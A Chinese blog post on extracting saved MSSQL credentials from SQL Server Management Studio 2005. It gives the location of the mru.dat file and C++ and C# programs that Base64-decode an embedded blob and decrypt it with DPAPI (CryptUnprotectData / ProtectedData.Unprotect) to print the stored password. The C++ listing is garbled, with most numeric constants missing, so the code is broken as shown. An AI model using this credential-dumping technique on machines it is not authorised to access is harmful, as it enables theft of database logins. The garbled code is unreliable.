获取本机MSSQL保存凭证

首先要感谢哥们对我的指点，多谢。

当我们遇到类似情况下，如何获取保存在MSSQL工具里的凭证呢？

 //如果对方连接地址后面加了IP\sqlexpress 连接的时候你也记得加上，不然即使密码正确，也会说登录失败。

通过和哥们讨论研究分析以及查找资料，知道了密码存放的地方：

C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\Tools\ShellSEM\mru.dat (当前MSSQL 连接工具为2005)

我们通过C32来查看MRU.DAT，会发现一串BASE64编码：

这个就是我们的保存的凭证，但是并不是直接还原BASE64就可以了，需要DECODE后还需要DPAPI来进行解密：

代码如下：

// Encode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <cstdlib>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
using namespace std;

int Base64Decoder(char *input, unsigned char *output)
{
    char base64string[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    BYTE dataBuffer[];
    BYTE outputBuffer[];
    BYTE finalBuffer[];
    int count=;
    int padCount=;
    int length;

    length = strlen(input);

    //Validate the data for BASE64
    if( length %  )
    {
        printf("%s - Invalid base64 data is supplied %s (%d) ", input, length);
        return ;
    }

    //count the no of padding
    if (input[length-] == '=')
        padCount++;

    if (input[length-] == '=')
        padCount++;

    // Process 4 chars in each loop to produce 3 chars
    for (int i=; i < length; i += )
    {

        // Populate data buffer with position of Base64 characters for
        // next 4 bytes from encoded data
        for (int j=; j <  && (i + j < length); j++)
            dataBuffer[j] = ( (int)strchr(base64string, input[i+j]) - (int)base64string );

        //Decode data buffer back into bytes
        outputBuffer[] = (dataBuffer[] << ) + ((dataBuffer[] & 0x30) >> );
        outputBuffer[] = ((dataBuffer[] & 0x0f) << ) + ((dataBuffer[] & 0x3c) >> );
        outputBuffer[] = ((dataBuffer[] & 0x03) << ) + dataBuffer[];

        // Add all non-padded bytes in output buffer to decoded data
        for (int k = ; k < ; k++)
            finalBuffer[count++]=outputBuffer[k];

    }

    count = count-padCount;

    //copy the decoded data into input buffer
    memcpy(output, finalBuffer, count);
    output[count]='\0';

    printf("Base64 decoded string is [%s] (%d) ", output, count);
    //    std::cout << "11111" << std::endl;
    std::cout << finalBuffer << std::endl;
    return count;
}

int main(int argc,char** argv)
{
    unsigned char output[] = {};
    //Base64Decoder("ZnVja3lvdQ==",output);
    int i=Base64Decoder("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A==",output);
    if (i == )
    {
        printf("Encode error\r\n");
        return -;
    }

    DATA_BLOB DataPassword;
    DATA_BLOB DataOutput;
    DataPassword.cbData = i;
    DataPassword.pbData = output;

    if(CryptUnprotectData(&DataPassword,,,,,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt Mssql password
    {
        wcout << "Mssql credence Password Length: " << DataOutput.cbData << "\r\n";
        wcout << "Mssql credence Password: " << (wchar_t*)DataOutput.pbData;
    }else
    {
        wcout << "Error";
　　　　 return -1;
    }
    return ;

}

还有一份C#，是我哥们写的：

using System;
using System.Collections.Generic;
//using System.Linq;
using System.Text;

namespace Mssql
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine(Encoding.Unicode.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A=="), null, System.Security.Cryptography.DataProtectionScope.LocalMachine)));
        }
    }
}

还原后：

VC

C#